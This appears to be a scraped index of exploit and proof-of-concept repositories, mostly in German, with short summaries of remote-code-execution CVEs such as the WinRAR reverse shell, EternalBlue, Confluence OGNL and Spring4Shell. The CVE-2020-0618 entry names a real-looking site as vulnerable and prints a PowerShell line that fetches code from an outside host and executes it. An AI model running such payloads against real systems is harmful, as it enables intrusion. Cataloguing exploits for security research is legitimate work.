CVE-2023-38831_ReverseShell_Winrar-RCE

ERHALTEN EINER REVERSE-SHELL DURCH AUSNUTZUNG DER SCHWACHSTELLE CVE-2023-38831 IN WINRAR In diesem Repository nutzen wir die WinRAR-Schwachstelle CVE-2023-38831 aus, um eine Reverse-Shell vom Windows-Zielrechner auf den Kali-Linux-Angreiferrechner zu erhalten. VORBEREITENDE SCHRITTE Laden Sie den...

wso2-rce-cve-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 Exploit. Details CVE-2022-29464 ist eine kritische Schwachstelle in WSO2, entdeckt von Orange Tsai. Die Schwachstelle ist ein nicht authentifizierter, uneingeschränkter Datei-Upload, der es nicht authentifizierten Angreifern ermöglicht, über das Hochladen...

omigod-lab

Readme Eine Lab-VM für Lernzwecke, um die Schwachstelle „unauthenticated Remote Code Execution RCE“ mit einem CVSS-Score von 9.6 in der Open Management Infrastructure-Software CVE-2021-38647 kennenzulernen. Offenlegung Originalforschung:...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE Dieses Skript ist ein Wrapper für eine nicht authentifizierte Remote-Code-Ausführung über ein OGNL-Injection-Exploit-Primitiv in Confluence Data Center und Server CVE-2022-26314. Herstellerhinweis Ursprünglich inspiriert durch den PoC...

CVE-2023-4542

poc Das D-LINK-DAR-8000-10 Online-Verhaltensaudit-Gateway hat RCE-Sicherheitslücken. Offizielle Website: http://www.dlink.com.cn/ Version: D-LINK DAR-8000-10 Siehe die Login-Seite. Erstelle URL:...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - Link ist anfällig $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $byte...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Windows Graphics-Komponente RCE x64 Kritische Remote-Codeausführung über bösartiges JPEG – Windows 11 24H2 ungepatcht CVSS 9.8 – Keine Berechtigungen, keine Benutzerinteraktion erforderlich CVE-2025-50165 - windowscodecs.dll untrusted pointer dereference Discovered by Zscaler...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

Übersicht CVE-2022-21445 CVSS-Score 9,8, die Schwachstelle ist eine nicht vertrauenswürdige Datendeserialisierung, die im ADF-Faces-Komponenten identifiziert wurde und von Angreifern aus der Ferne ohne Authentifizierung Pre-Authentication ausgenutzt werden kann, um RCE zu erreichen. Die...

Peyara-FileUpload

Exploit-Titel: Peyara Remote Mouse v1.0.1 – Unauthentifizierter beliebiger Datei-Upload Datum: 2025-01-06 Exploit-Autor: tmrswrr Software-Link: https://peyara-remote-mouse.vercel.app/ Plattform: Windows Version: v1.0.1 Getestet auf: Windows 10 USAGE : python3 combinedscript.py Bösartige LNK-Datei...

cve-2022-26809

CVE-2022-26809 Erkennt Angriffsversuche und erfolgreiche Ausnutzung von CVE-2022-26809, einer Remote-Codeausführung-Sicherheitslücke über DCE/RPC. Dieses Paket wird im Detail in diesem Corelight-Blogbeitrag beschrieben. Dieses Paket generiert die folgenden Meldungen: CVE202226809::ExploitAttempt,...

opendcim-exploit

openDCIM - SQLi zu RCE durch Konfigurationsvergiftung Kette zur Remote-Codeausführung, die auf das LDAP-Konfigurationsformular von openDCIMs install.php abzielt. Basierend auf dem VulnCheck go-exploit Framework. Angriffskette | CVE| CWE| Beschreibung ---|---|---|--- 1| CVE-2026-28515| CWE-862|...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EternalBlue-MS17-010-Remote-Code-Execution Die Angreifermaschine ist Kali Linux und Windows Server 2008 R2 als Zielmaschine. Importieren Sie den Windows Server 2008 R2 von der angegebenen https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing in Ihre...

CVE-2021-30461

CVE-2021-30461 VOIP RCE Technische Details https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ YouTube : https://www.youtube.com/watch?v=9VBI6Lq-Rw Folge uns Vulnmachines YouTube Twitter Facebook LinkedIn...

libreofficeExploit1

Grundlagenhandbuch zur Erstellung eines Exploits In diesem Beitrag wird gezeigt, wie man eine einfache Schwachstelle eines Programms ausnutzt, um eine Hintertür in dem System zu öffnen, das dieses Programm verwendet. Der betreffende Fehler wird durch CVE-2018-16858 definiert und gehört zur...

CVE-2022-22947-POC

Spring-Cloud-Gateway-CVE-2022-22947 Sicherheitshinweis zur Remote Code Execution-Schwachstelle in Spring Cloud Gateway. Diese Schwachstelle tritt auf, wenn der Gateway Actuator-Endpunkt in Spring Cloud Gateway aktiviert und freigegeben ist. Anwendungen, die Spring Cloud Gateway verwenden, können...

CVE-2023-28343

CVE-2023-28343 Vulnerabilidade RCE settimezone do Altenergy Power System Control Software CVE-2023-28343 Nome chinês: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） Pontuação CVSS: 9.0 Descrição : O Altenergy Power System Control Software é um software de controle de...

CVE-2024-3105-PoC

CVE-2024-3105 PoC Das Woody Code Snippets – Insert Header Footer Code, AdSense Ads Plugin für WordPress ist in allen Versionen bis einschließlich 2.5.0 anfällig für Remote Code Execution über den Shortcode 'insertphp'. Dies liegt daran, dass das Plugin die Nutzung der Funktionalität nicht auf...

SGLang-0.5.9-RCE

SGLang SSTI zu RCE PoC — Nicht gesandboxte Jinja2 Chat-Template-Rendering CVE-2026-5760 Remote Code Execution durch Server-Side Template Injection SSTI im Reranking-Endpunkt von SGLang. Eine bösartige GGUF-Modelldatei mit einem manipulierten tokenizer.chattemplate erreicht beliebige...

CVE-2022-22965

Analyse von CVE-2022-22965Spring4Shell Beschreibung der Schwachstelle Spring4Shell ist der Name einer CVE, die im Spring Core des Spring Framework existiert. Mit einem CVSS 3.x Score von 9.8 wird die Schwachstelle als kritisches Risiko eingestuft. Diese Schwachstelle ermöglicht es einem Angreifer...

SSH-Remote-Code-Execution

Execução Remota de Código SSH SSH Zero-Day | Feito por ClumsyLulz & Taylor Christian Newsome Resumo Este repositório contém um programa em C que aceita parâmetros de entrada e gera um pacote a ser enviado a um servidor através do protocolo SSH. O programa aloca um buffer para armazenar os dados,...